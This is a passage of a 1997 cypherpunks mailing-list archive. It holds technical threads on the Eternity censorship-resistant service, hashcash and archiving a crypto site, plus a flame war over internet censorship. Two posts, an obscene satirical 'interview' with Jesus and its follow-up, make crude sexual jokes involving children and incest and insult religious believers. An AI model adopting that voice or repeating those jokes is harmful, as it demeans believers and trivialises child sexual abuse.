## Encryption Algorithm" have produced a cryptography product which 
## cannot be broken by normal people, using normal math.
## This has been confirmed by the independent research of Carol Anne
## Cypherpunk, who reports that Kent Crispin has always claimed that
## this, ================>, is eight inches, while Tim C. May claims
## this, ================>, is fourteen inches.
## Her research methods have been approved by TruthMonger, who
## states, "Give her two inches, and she takes a mile. She never 
## judges an encryption algorithm until she's fucked a mile with 
## your Dick in a 'rubber boot'."
## In response, Carol Anne Cypherpunk said of TruthMongers sexual
## prowess, "He claims that his Dick was the inspiration for the
## Eternity Server, but it is a forgery, like his posts to the list.
## It just _seems_ like it never ends when you are subjected to
## abuse of either of them. A mile, my ass..."

<EOC> (I mean, <EOF>)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 9 Aug 1997 05:59:14 +0800
To: cypherpunks@toad.com
Subject: The _Really_ Big Lie!
Message-ID: <33EB8A5E.7661@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



::
Anon-To: too_drunk_to_use_a_remailer@shit!.exposed!

[From the "I Have Too Much 'Time, Inc.' On My Hands, So This Must Be 
 _Official_ News" Web site.]
 
  I couldn't help but notice that the supposed pillars of the religious
community, as well as their oh-so-decent-and-righteous followers, tell
such widespread, whoppingly big lies about the motivations behind their
public actions, as well as about their future intentions, that the true
source of corruption in the religious community must undoubtedly come
from "higher up" in the chain of commandments.

  For example, those who are concerned about their children accessing
obscene and satanic material on the InterNet might be expected to
supervise their children, as well as acquiring the InterNet tools that
are available for limiting their children's access to things which the
parents find objectionable. You would also expect them to seek out
information on sites that met standards that they found acceptable for
their children to access.
  In short, if their interests truly lay in censoring the information
their children access, you think they would do exactly that--control
and censor their children's activities on, and access to, the InterNet.

  I couldn't help but notice that, instead, they want to control the
activities and access of everyone who uses the InterNet. I find it hard
to believe that these people can claim to have the intellect to form
valid beliefs about religious and moral issues, yet not be intelligent
enough to understand the options available to them.
  This leads me to suspect that they are, in reality, two-faced liars,
particularly since impartial observers can predict the oppressive and
censorous results which are usually the exact opposite of what they
claim to be their intentions.

Patient: "Doctor, it hurts when I do _this_."
Doctor: "Then don't _do_ that."

   If those calling for control and censorship are truly worried about
their children, you would expect then to teach their children not to
"do that," and to not make available to them things which will allow 
them to "do that" if they have raised their children to be disobedient
and/or irresponsible.
  Instead, they seem to be taking the moral "high ground," as if under
the impression that they are moral "doctors" charged with diagnosing
others as having diseased morals, even if the others don't hurt when
they "do that."

Problem: Little Johnny wants to visit Paul Bradley's "Jesus Loves the
  Little Children From Behind" web site.
Solution: Don't let him do that.

Problem: Little Johnny might visit the Duncan Frissel "Pictures of 
  Jesus" site and find pictures of Jesus buggering the little children.
Solution: Don't let Little Johnny access sites that you don't know to
  be acceptable according to your standards.

  Now, was the foregoing too hard for those reading this to understand?
  If not, then what could be the reason for those promoting contol and
censoring of other people for suggesting the following option...
Problem: Little Johnny might access something on the InterNet which does
  not meet standards that his parent's find acceptable.
Solution: Require everyone on the InterNet to only engage in activities
  which meet the standards of Little Johnny's parents, starting by 
  putting the onus on everyone on the InterNet to "voluntarily" rate
  their website according to the standards of Little Johnny's parents.

Question:"When was the last time a doctor you didn't know made a 'house
  call' to check on your health, forced his way in when you objected,
  and gave you a prostrate exam against your wishes?"
Answer:"When the government declared that prostrate cancer was a threat
  to 'national security' and that early detection would 'protect the
  children' from child molesters and drug dealers."

  Since spirituality is not inherently related to fascism, it seemed to
me that the moral fascism being promoted by members of the Christian
community must be the result, not of spiritual values, but rather,
the result of the leader of the Christian religion being a moral
fascist.
  It was also obvious that, given the vast amount of lies being told
by Christians about their beliefs, motivations, and intentions, that
Christianity must be founded on lies and disinformation.
  Since I do not like to speak ill of someone without taking pains to
understand them from the standpoint of their own knowledge and beliefs,
I decided that I should have a talk with Jesus Christ, the founder and
espoused leader of the Christian religion, and give him a chance to 
respond to my view of himself and those who follow his example.

  Mr. Christ was kind enough to let me take notes during our long
conversation, so I am providing a transcript of the highlites of
the issues we discussed:
-----------------------
TruthMonger: "Mr. Christ..."
Jesus Christ: "Please, call me Jesus."

TruthMonger: "OK. Jesus, what the fuck is going on with all these people
  claiming that they have the right to force everyone on the face of the
  earth to live only within the boundaries of moral judgements approved 
  of by you?"
Jesus Christ: "Well, TruthMonger, you have to understand that I am the
  _only_ Way, the _only_ Truth, and the _only_ Light.  Accordingly, it
  is reasonable for my followers come to the conclusion that whatever
  I approve of is good and that everything else is bad."

TruthMonger: "As in, 'Everything Not Permitted, Is Forbidden!'?"
Jesus Christ: "Exactly. By the way, is that from '1984' or from 'Animal
  Farm'?"

TruthMonger: "Don't try to change the subject. Jesus! Oh, I mean that
  as a swear word, by the way...but this is exactly what I object to
  in your followers--the fuckers never give a straight, truthful 
  answer to the 'hard' questions. They always fall back on some inane
  quote of yours that has little to do with the issue being discussed."
Jesus Christ: "Well, you can't hold me accountable for their actions..."

TruthMonger: "Like _fuck_ I _can't_, shit for brains. You're in America,
  buddy, and we have conspiracy laws here. If the members of your cult
  go down, then you go down with them, and vice-versa.
  "You ever hear of Waco? David Koresh? Maharishi? John F. Kennedy?"
Jesus Christ: "You're trying to twist things around here, by comparing
  me and my followers to small cults and Democrats. After all, America
  is largely a Christian nation with Republican family values."

TruthMonger: "Bullshit! It's a democracy, with a legal seperation of
  Church and State. "America is a Christian nation" is just one more
  example of the lies your followers try to propogate every chance
  they get. It's clearly not true, but they refuse to face reality."
Jesus Christ: "I said, 'largely'."

TruthMonger: "Exactly. You use a word that infers that a 'majority'
  of Americans are Christian, in order to suggest that Christianity
  and Democracy are kissing cousins. This is the same goddamn thing
  that your followers do by constantly taking a smug, self-righteous
  stance that concepts like freedom, democracy, right and wrong, are
  all dependent on or connected to the Christian 'majority's' beliefs
  and morals.
  "You could just as well say, 'America is largely a "white" nation'
  but that pig doesn't fly anymore."
Jesus Christ: "Now _you're_ trying to twist _my_ words."

TruthMonger: "Christ! Oh, that's meant to be a swear word, too...BTW.
  "What I mean is that your words are being twisted a lot more by
  your Christian bum-buddies than I could ever hope to manage.
  "Which wouldn't concern me in the least if they weren't trying to
  force a potpourri of alleged 'superior' moral beliefs on the rest
  of us. This is the crux of the matter. As far as I am concerned.
  Christian fascism is the enemy of democracy and freedom."
Jesus Christ: "Well, that's one way of looking at it. However, you
  might also say, 'It's not perfect, but it's the best system we've
  got.'"

TruthMonger: "Please don't insult my intelligence. You could say the
  same thing about a bowl of 'shit' soup, if that's all that you put
  on the dinner menu. Christians and politicians have always tried
  to claim that their failure to permit true freedom should be seen
  as a sign that it cannot be achieved by others, either.
  "The logic is based on the assumption that politicians and Christians
  are superior to everyone else, and that they know and do what is
  'right'. Then they turn around and claim that, since they are doing
  what is 'right', that their judgements are superior to everyone 
  else's.
  "That's called Circular Logic, and that dog's getting old, too."
Jesus Christ: "When the Dogs of Holy War get old, they get craftier,
  as well."
  "In case you haven't noticed, the censoring of non-Christian beliefs
  is proceeding pretty much as it always has. When was the last time
  you heard of someone getting imprisoned for exposing children to
  Biblical tales of violence and sex, on or off of the InterNet?"

TruthMonger: "You've certainly got a point there. Tim May's vernacular
  translation of the Bible describes Lot fucking his daughters and the
  guy who pulls out and jerks off on the ground, or whatever, in great
  detail."
  "This serves to illustrate the hypocritical lies and bullshit that
  Christians promote. If Tim wrote a similar story about himself just
  screwing the living shit out of his children, then the fascist
  Christians would call for his imprisonment as a child molester,
  even if Tim announced it was fiction. But a Christian who puts the
  a story about Lot doing the same thing, only claiming that it is
  true, won't go to jail even if I stand up in court and testify
  that, after I read it, I went out and fucked my daughters."
Jesus Christ: "And your point is...?"

TruthMonger: "My point is that fucking is fucking, butt-fucking is
  butt-fucking, and there are enough people capable of free thought
  left in society, and who are wise to your Christian bullshit, that,
  if I were you, I wouldn't hurry back to take over until you're
  sure that your fascist lackeys have all the freedom lovers in
  chains."
Jesus Christ: "Is that supposed to be some kind of threat?"

TruthMonger: "Hey, pal. All I'm saying is that what is good for the
  gander is good for the goose.
  "As long as this country remains a democracy, then you'd better
  think twice about claiming to 'love all the little children' and
  you'd damn sure better make certain you have all the right permits
  before you go around turning water into wine."
Jesus Christ: "I resent the implication that I love the children 
  in anything but a purely 'spiritual' way."

TruthMonger: "Well, pal, the circumstantial evidence is against you
  on this one. Wasn't your father involved in some kind of scandal
  where he made a man and woman naked and then told them to fuck
  and party down?"
  "If I remember right, he had some kind of fetish about telling the
  Jews to fuck a lot and was always talking about their 'cum'."
Jesus Christ: "He used _decent_ words, like 'be fruitful and 
  multiply', and 'seed', not 'cum'."
  "And you should have capitalized the word 'Father' when you made
  mention of him, BTW"

TruthMonger: "Fuck you pal, I'm sending this to the CypherPunks
  mailing list. Are you the new list moderator? 
  "Good fucking luck..."
Jesus Christ: "I don't have to take this kind of abuse. I'm putting
  you on the 'flames' list."

TruthMonger: "Big deal. I'm already in Tim C. May's 'killfile'."
Jesus Christ: "If intolerance is such a Christian trait as you claim,
  then why is my 'flames' list smaller than Tim May's 'killfile'?"

TruthMonger: "Now you're twisting _my_ words. Are you related to
  Kent Crispin? Say... Come to think of it, why has no one ever seen
  the two of you together?"
Jesus Christ: "Let's just say that Kent and I agree on many issues
  that have to do with the sanctity of a higher authority.
  "No one has ever seen the evil Dr. Vulis and Satan together, either,
  but that's no proof of anything."

TruthMonger: "Bad example, dude. Bad example. You're practically 
  proving my point for me."
  "But now that you've brought it up, I would like to point out that
  both you and Satan are free to post anything you want on the 
  CypherPunks list, but if Tim May posted his vernacular translation
  of the Bible on Christian mailing lists, he would be hung by his
  hairy balls from the nearest church tower."
Jesus Christ: "How do you know Tim May has hairy balls?"

TruthMonger: "You've never been to a CypherPunks physical meeting,
  have you? Trust me, when the CypherPunks focus their energy on
  turning wine into water, _nobody's_ math skills are good enough
  to calculate what might take place."
Jesus Christ: "And your point is...?"

TruthMonger: "My point is that I'm drunk, it's late, and we both
  have a lot of work to do before the year 2000.
  "If you're planning to censor non-Christian values on the InterNet
  for 'all of eternity', then you'd better get to work on a way to
  stop the CypherPunks 'Eternity Server' from routing around fascist
  Christian moralism."
Jesus Christ: "Adam Back... Isn't he a member of that weirdo "Circle
  of Eunuchs" cult?"

TruthMonger: "That's for me to know, and for you to find out, pal.
  "Unless you can break PGP, of course."
Jesus Christ: "Hey, I'm just Jesus. I'm not Phil Zimmerman, for 
  _My_ sake."

TruthMonger: "Hey, watch your language."
Jesus Christ: "Sorry, I meant to say 'for _Dimitri's_ sake'."

TruthMonger: "I'll tell him you capitalized his name. He'll get a
  kick out of that.
  "Any last words before I turn in for the night?"
Jesus Christ: "Christianity recognizes privacy and freedom as damage,
  and steamrollers over them."

TruthMonger: "No shit!"
-----------------------

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
All references to Tim C. May's Vernacular Translation of the Bible
are used without permission.
What's he going to do, sue me? Then he'd have to admits he gets
vicarious pleasure out of reading the posts in his killfile.
{There's more than _one_ way to push a <Delete> key.}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sat, 9 Aug 1997 07:13:47 +0800
To: cypherpunks@cyberpass.net
Subject: Distributed Dejanews
Message-ID: <19970808230710.13219.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.uk> writes:

 > Recap on old idea of using dejanews and altavista

 > However is another important reason not to use altavista or
 > dejanews: it's not decentralised.  If something
 > sufficiently hot gets published they'll both be taken off
 > line long enough to figure out how to disable access to
 > eternity.  Even if they can't do it ultimately because of
 > sufficiently advanced public key text steganography, it'll
 > disrupt the service.

If we aren't going to actually shell out money for a worldwide
network of Eternity file servers, we have to use existing
publicly available services as our distributed data haven.

The more places we can stash things, the merrier.

Currently, we post documents to Usenet, and keep them alive by
reposting prior to the server expiring them.  This is robust, not
easily censored, and little effort.

I see nothing wrong with having the server also examine Dejanews
for Eternity documents, lightly stegoed to avoid the deletion of
encoded data.  To the extent that Dejanews serves as a more
permanent repository of data than Usenet, fine.  The worst thing
that can happen is that documents get removed, in which case, the
guardian of the document in question returns to keeping it alive
on Usenet.  All this is transparent to people using Eternity to
read documents.

Dejanews likely removes encoded data because of storage
requirements, not because of content.  Unless the Eternity
business becomes a significant fraction of Usenet bandwidth,
stego wars with Dejanews are unlikely.

 > A distributed deja-news replacement

 > So what are the storage requirements?  What does dejanews
 > have in their machine room?  (Huge raid server?  How many
 > Gigs?).

Dejanews started in 1995.  By 1996, they had 80 million articles
in 15,000 Usenet newsgroups.  They currently have 109 million
articles.  The Dejanews database is presently 180 gigabytes. They
index all the "most active" Usenet newsgroups, minus binaries and
some other controversial content.

A week of a full Usenet feed is presently just a tad over 20
gigabytes, and is growing by leaps and bounds.

 > I'm wondering if 1000 academic nodes, small and large ISP
 > nodes, and indivduals each contributing 1Gb each could out
 > perform deja-news.

That's more storage than Dejanews currently has.  Performance is
another issue.

 > That'd be 1Tb.  How long would 1Tb last at the being
 > consumed at a rate of a full USENET feed?

Less than one year, if you kept everything.

 > On top of distributed news archive, build an eternity
 > service

 > So with the eternal news archive, you now have everything
 > you need to easily build an eternity server.

 > How practical is this?

Not very.  You are tossing out one of the most useful aspects of
Usenet news as a Distributed File System, namely acting as a
"Giant FIFO" of what is interesting during any particular window
of time.

 > How much interest is there likely to be in creating a full
 > USENET archive as a distributed net based effort.

None at all.  Keeping everything that had ever been posted to
Usenet forever would be a giant waste of resources.

What I suspect you need here is the "Distributed File System" of
the future, which could carry Usenet as well as support Web, NFS,
FTP, and all other popular protocols to access its content.

It would be a giant FIFO with hundreds of gigabytes of capacity,
with reliable transport, authentication, encryption, and a
micropayment system for accessing and prolonging the lifetime of
data stored on it.  It would of course be uncensorable, as Usenet
is today, and the Eternity Service could run on top of it, as
well as a lot of other interesting things.

 > It's clearly got vastly larger storage requirments than
 > storing the full set of eternity articles posted to USENET.
 > However it has wider uses, and has lots of innocuous reasons
 > to exist.  I guess it's quite an interesting project in it's
 > own right.  You could start with just some newsgroups, and
 > build up as a way to boot strap it.  But it may be harder to
 > generate enough interest to deploy this than to deploy
 > enough eternity servers to do build a distributed archive
 > of just eternity articles.

It's certainly interesting to think of what the ultimate DFS for
the Internet might look like, given the various white papers on
NC, thin clients, fat servers, and big pipes.

But this isn't something that is going to happen overnight.  To
the extent that we employ Usenet in interesting new ways as a DFS
today, we create working models of many of these concepts and
demonstrate their feasibility.

 > How soon could it happen?

 > Who knows.  What do people reckon the interest would be in a
 > distributed complete USENET archive for it's own sake.  For
 > purposes of the archive cancels would not be applied.
 > Indeed archive the cancels too, and the control messages for
 > everyone to see for perpetuity who did and said what.

Well, the disk manufacturers would probably love it, and want it
replicated every ten feet across the planet.  I don't know about
other people.

 > Perhaps it will be more realistic to build a distributed
 > archive for eternity documents only first.  If it is
 > designed as a separate service, then it could be the same
 > software to do either, just restrict it to
 > alt.anonymous.messages, or just for alt.anonymous.messages
 > passing a filter program.

 > Comments?

First of all, instead of thinking of this in terms of being the
singing and dancing Usenet archive of all time, we would do much
better if we thought of it as a protocol-independent Network-wide
Distributed File System with configurable characteristics suited
to a wide variety of applications.

If we could put together a prototype with a small number of
nodes, and demonstrate it could carry both Usenet and Eternity as
well as provide NFS3 access to commonly requested Network
binaries, all supported by an integrated micropayment scheme,
that would go a long way towards making it a standard.

Would anyone care to donate some storage, cycles, and a fast pipe
to the Net?

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Sat, 9 Aug 1997 06:11:55 +0800
To: cypherpunks@toad.com
Subject: Did anyone archive MPJ's site?
Message-ID: <199708082010.NAA16573@cygnus.com>
MIME-Version: 1.0
Content-Type: text/plain



Did anyone manage to copy all of Mike Johnson's
North American Crypto archive before he pulled
the plug?

Peter Trei
trei@process.com

Peter Trei
Senior Software Engineer
Purveyor Development Team                                
Process Software Corporation
http://www.process.com
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Sat, 9 Aug 1997 07:51:31 +0800
To: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Subject: Re: Did anyone archive MPJ's site?
In-Reply-To: <CMM.0.90.4.871080192.ariel@stealth.cc.columbia.edu>
Message-ID: <Pine.LNX.3.95.970808161357.21924D-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 8 Aug 1997, Ariel Glenn wrote:

> I got parts of it but am missing much of the PGP and almost all of PGP
> tools :-(
> 
> I am hoping someone else got those parts. Otherwise I can get some of
> it from MIT, I suppose...

I offered to mirror it.  The site is set up for uploads.  I hope it is not
too late.  (I did not realize it was going to vaporize that quick.)

If he has backups and/or can get the files loaded on my system, the offer
to host the archive still stands.  (Also, if someone else has the files,
it can be put up on the server.  I cleared 350 megs for it...)

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 9 Aug 1997 08:05:26 +0800
To: cypherpunks@cyberpass.net
Subject: Re: some hashcash advocacy
In-Reply-To: <97Aug8.131019edt.32257@brickwall.ceddec.com>
Message-ID: <19970808165350.55775@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Aug 08, 1997 at 10:45:29PM +0100, Adam Back wrote:
[...]
> I wasn't talking about remailers above, but about end users.  Hashcash
> allows the recipient to filter out email that hasn't got postage.

Ie, hashcash is a fancy techie oriented self-labelling technique.  :-)

I didn't read the code, but it seems that the double spending
protection is just local to the recipient (ie, there isn't a trusted
central clearinghouse that checks against double spending on a global
basis).  Thus, a spammer could calculate postage for a message, then
send 100000 copies.  Hashcash would guarantee that each user only got
one copy, but there are easier ways to do that.  [If the checking was
done at an ISP level, of course, only one message would get through. 
But that requires widespread deployment at the ISP level, not the
individual user level, and checking at the ISP level requires
that the ISP keep a database of users mail preferences.]

But without a central clearinghouse hashcash seems useless to me as a 
means of combating spam.  And of course, a central clearinghouse 
brings up a whole raft of other issues concerning trust and so on...

[...]

> You could auto-add anyone you ever manually replied to to the
> no-postage list even.

I would rather pursue a "tit-for-tat" strategy for email, but
unfortunately tit-for-tat requires stable identities... 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul H. Merrill" <paulmerrill@acm.org>
Date: Sat, 9 Aug 1997 06:13:49 +0800
To: "David D.W. Downey" <admin@CyberSpaceTechnologies.com>
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708081253.GAA06495@wombat.sk.sympatico.ca>
Message-ID: <33EBBB66.2C60@acm.org>
MIME-Version: 1.0
Content-Type: text/plain



David D.W. Downey wrote:
> 
> You know, you are just about the biggest idiot I have ever had the
> displeasure of reading. For one, the largest religion in the US right
> now *is* in fact judeo-christian. The largest is Roman Catholic with
> Pentacostal Protestant following right behind. 

judeo-christian isn't a religion.  Christian is.

> Next, this country was
> founded on christian beliefs, or have you failed to read the words of
> the constitution of the US. Considering the apparent ignorance you have
> displayed thus far about the makeup of the US, I would venture to say
> that you probably have not read it.

I have read the Constitution and the history behind it.  The US was
founded by people trying to escape religious persecution and/or trying
to get rich.  In case you can't figure it out, forcing your views down
my throat IS religious persecution -- exactly the same sort that sent
the Pilgrims off on the Mayflower.

> Next, you attack christians for
> trying to control the content made available on the internet. At least
> the site ratings plan is better than alot of other plans I have seen.
> Besides, Oh Godlike TruthMonger, where is *your* surefire plan to halt
> the spread of trash that *most* humans would want out of of the reach of
> their children? I have not seen you *once* offer a straightforward clear
> cut plan to efficiently handle *any* issue placed for discussion on this
> listserv. I have seen you do nothing but slam, belittle, and degrade
> others and their beliefs and ideas. 

That statement is somewhat similar to saying that if you don't like your
chains you are free to suggest the stocks or perhaps rope.

> You do this under the unimpressive
> tag of "TruthMonger". If anything, you are anything but a TruthMonger.
> When you can come up with a plan that even *remotely* seems like a
> logically thought out, planned, and intelligent proposal on how to
> handle the issues presented everyday on the internet that affect the
> computing industry balanced with a concern for the children, then I will
> listen. 

As long as the scum that gravitates toward LEAs and the Government
continue to do so it is relatively stupid to express (or defend) views
outside the accepted norm in an open fashion.  (I guess that makes me
sorta stupid, huh?)

> (And yes, I do agree that the parents of the children have an
> obligation to monitor the content they are exposed to. It's called
> responsible parenting which unfortunately is not a well practiced
> ideology. And to take the wind out of your sales, I have 2 children and
> as a parent I limit them to what is appropriate to their ages.)

I have two of my own and I don't see how "protecting" them in the ways
that you seem to like would do anything other than warp their worldview
to such a level that they will be esay prey for whatever scum they run
into in the meatworld.  

> Until
> such time as you can fulfill the obligations to us, the adult computing
> population, and our offspring, the children (just in case your fuddled
> mind does not know what they are), I suggest you rest those busy little
> fingers of yours and listen to the underlying theme of the issues before
> us. 

I don't know about TruthMonger but I did listen to the underlying theme
of the issues before us and I found that it was actually scum-suckers
and other bottom feeders trying their damnedest to steal my freedom. 
That's why I'm typing here and now.

> Until then, HateMonger, I have one suggestion for you..... Shut Up!

The hatemonger that I see in this interchange is not TruthMonger and
it's not me -- Let's see, I guess that leaves . . .

Not the TruthMonger,

Paul H. Merrill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 9 Aug 1997 01:54:46 +0800
To: cypherpunks@cyberpass.net
Subject: a decentralised dejanews
Message-ID: <199708081640.RAA00985@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




As you'll know if you read some of the previous eternity verbiage I've
generated over the last few days, the design is evolving as ideas are
bounced around.

To recap briefly:

  The eternity implementation at the moment is performing the function
  of a cache of USENET, which also `reformats' messages to extract and
  deliver the content as web documents.

  The cache has no replacement policy.  Planned replacement policies
  where least accessed documents, and/or the document accompanied by
  the smallest ecash payment.

Obvious problem:

  The cache will fill up and material will be discarded when the
  eternity document store grows too large for one machine to cache.

Solution:

  My last thoughts on how to fix this was to have collaboration
  between the eternity servers: they ask each for documents they
  don't have.  They act like a distributed raid file server with
  redundancy.

  Clearly with the "least accessed" replacement policy they'll all
  likely cache similar material, and documents will still fall off the
  cache.

  Ecash payment for cacheing might work reasonably well, if you buy as
  much redundancy as you wish by including cash for several servers.

  Or perhaps a random cache replacment policy is the simplest to keep
  even spread of availability of documents.

  k of n secret sharing could be used at some overhead so that no one
  site is responsible for serving a given document.

  However it is fairly complex to design and implement such a system
  which can provide full underdisturbed service with nodes dynamically
  leaving and joining, and it is also difficult to protect fully
  against denial of service attacks.

Recap on old idea of using dejanews and altavista

  You will recall that earlier discussions talked about using dejanews
  or altavista as archives to fetch documents from.  I rejected this
  initial idea because altavista and dejanews take steps to reduce
  their disk space usage, by stripping out UU and radix-64 encoded
  documents.  Now we can fool them easily enough by waging a running
  battle of increasingly sophisticated textual stego on our side vs
  playing catch up with cleverer eternity document spotters on their
  part.  We might even win long term if we public key encrypted the
  documents for specific eternity servers.  Kind of messy.  Old
  content will be disappearing if they go back and filter out old with
  the new filters.

  However is another important reason not to use altavista or dejanews:
  it's not decentralised.  If something sufficiently hot gets
  published they'll both be taken off line long enough to figure out
  how to disable access to eternity.  Even if they can't do it
  ultimately because of sufficiently advanced public key text
  steganography, it'll disrupt the service.


Viewing the situation more modularly:

  The eternity service with a distributed raid file server formed from
  the respective caches has one problem: of acceptability.  Each
  server is actually holding eternity material, it tries to get away
  with this by claiming that it is a cache.  However each server is
  serving three potentially separable functions:

    - document cache

    - node in a distributed news archival service, but only for
      messages which look like eternity articles

    - a view on the database to allow it to be viewed interactively as
      web documents (fetching and translating decoding eternity
      documents to serve as web pages)

  The first function -- a document cache could probably just as well
  be served by a standard proxy cache.  Not a big issue, it's easy
  either way.

  The second function makes it hard to claim you are `just cacheing
  USENET' -- you're also creating a distributed archive of a
  very particular subset of it.

  And the third function, viewing the database, is somewhat like a
  specialised search engine.  The search engine functionality is 100%
  replicatable at practically zero storage overhead, and pretty good
  as a non-censorable element of the system.  100% redundancy of
  service each node has nothing that can't be replaced. 

A distributed deja-news replacement

  So after separating the functionality it becomes apparent that we
  could have a another model.  Actually try to start a distributed
  deja-news replacement, an complete eternal record of _everything_
  that _ever_ gets posted to news.  Dejanews is kind of doing that,
  except that it's not complete -- they are stripping out uuencoded
  files, etc.

  Also this would be distributed, and harder to coerce.

  So what are the storage requirements?  What does dejanews have in
  their machine room?  (Huge raid server?  How many Gigs?).

  I'm wondering if 1000 academic nodes, small and large ISP nodes, and
  indivduals each contributing 1Gb each could out perform deja-news.
  That'd be 1Tb.  How long would 1Tb last at the being consumed at a
  rate of a full USENET feed?  As disks get cheaper, next two years or
  so, people can upgrade disks to 10Gb disks or whatever is cheap at
  the time.

  You would want some redundancy, more than redundancy than dejanews
  needs in their raid fileserver, because nodes may come and go, and
  the number of nodes could fluctuate.

On top of distributed news archive, build an eternity service

  So with the eternal news archive, you now have everything you need
  to easily build an eternity server.


How practical is this?

  How much interest is there likely to be in creating a full USENET
  archive as a distributed net based effort.  It's clearly got vastly
  larger storage requirments than storing the full set of eternity
  articles posted to USENET.  However it has wider uses, and has lots
  of innocuous reasons to exist.  I guess it's quite an interesting
  project in it's own right.  You could start with just some
  newsgroups, and build up as a way to boot strap it.  But it may be
  harder to generate enough interest to deploy this than to deploy
  enough eternity servers to do build a distributed archive of just
  eternity articles.

How soon could it happen?

  Who knows.  What do people reckon the interest would be in a
  distributed complete USENET archive for it's own sake.  For purposes
  of the archive cancels would not be applied.  Indeed archive the
  cancels too, and the control messages for everyone to see for
  perpetuity who did and said what.

Best way forward?

  Perhaps it will be more realistic to build a distributed archive for
  eternity documents only first.  If it is designed as a separate service,
  then it could be the same software to do either, just restrict it to
  alt.anonymous.messages, or just for alt.anonymous.messages passing a
  filter program.

Comments?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMailer <tm@dev.null>
Date: Sat, 9 Aug 1997 08:13:15 +0800
To: cypherpunks@toad.com
Subject: Christian CypherPunks / Re: The BIG Lie (Jesus Confesses)
Message-ID: <199708082338.RAA17953@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



David D.W. Downey preached hate and intolerance by saying:
> Considering the apparent ignorance you have
> displayed thus far about...

  I have not yet _begun_ to display my true ignorance.

> ...the makeup of the US, I would venture to say
> that you probably have not read it. 

  Silly me. I thought it guaranteed freedom _from_ religion. That's 
the last time I ask "? the Platypus" to read something and give me
a summary of it..

> Next, you attack christians for
> trying to control the content made available on the internet.

  Thanks for at least being honest enough to admit it. I don't attack
Christians for speaking their mind, I attack them for lying through
their fucking teeth about their motives and intentions.
  I have no problem with Christians wanting to take firm control of
their environment, but I object to them wanting to take control of
_my_ environment. You might think there is a need for more Christian
CypherPunks, while I think that there is a need for more CypherPunk
Christians. (And Mike Duvos thinks there is a need for more lions.)
  If you take the time to read "The _Really_ Big Lie," which has all
of the original post, instead of the one that the God/Dog of mirrored
remailers was so rude as to edit with a lightning bolt, it might be
slightly more clear that my rabid vendetta is not against a particular
point of view, but against hypocrisy and oppression.

> At least
> the site ratings plan is better than alot of other plans I have seen.

  Yes, it is. And it still sucks, as do the available Search Engines.
When was the last time you bought a Bible that had an index which 
showed 5,000 references to "he lifted her skirt, and knew her," for
every reference it has to "I AM."
  What we have in common is that you don't want to have Little Johnny
do a search for "Jesus" and get 5,000 sites with pictures of Jesus
shoving a crowbar up his ass, and I don't want to try to find a site
to buy a crowbar to work on my house and get 5,000 sites with pictures
of Jesus shoving a crowbar up his ass.
  My point is that I don't object to you supporting InterNet tools
which allow you to screen out pictures of Jesus with a crowbar up
his ass, but I object to a "quick and easy" solution which blocks
out all sites with a reference to "crowbars," because one guy in
Toledo "used to have" a site with a single picture of Jesus with
a crowbar up his ass.

  I would genuinely like to see more CypherPunk Christians. I would
like to see them write code which you can use to "block" access to
certain sites, and which I can use to "gain" access to certain sites.

> Besides, Oh Godlike TruthMonger, where is *your* surefire plan to halt
> the spread of trash that *most* humans would want out of of the reach of
> their children?

  Burn all the Bibles. (Thought you had me on that one, didn't you?)

> I have not seen you *once* offer a straightforward clear
> cut plan to efficiently handle *any* issue placed for discussion on this
> listserv.

  Tim May has already suggested that we, "Nuke D.C.", so any valid
solution to society's problems would merely be a plagarism of Tim's
stance. I just try to fill in the whitespace between Tim's posts.

> I have seen you do nothing but slam, belittle, and degrade
> others and their beliefs and ideas.

  I don't subscribe them to the CypherPunks list, I just turn on
the gas...

> When you can come up with a plan that even *remotely* seems like a
> logically thought out, planned, and intelligent proposal on how to
> handle the issues presented everyday on the internet that affect the
> computing industry balanced with a concern for the children, then I will
> listen.

  If you would listen to the *intelligent* proposals of rational, sober
people who are capable of sustaining a logical train of thought (such as
Declan McCullagh, Tim May, Blanc, and snow--to name but a few), and 
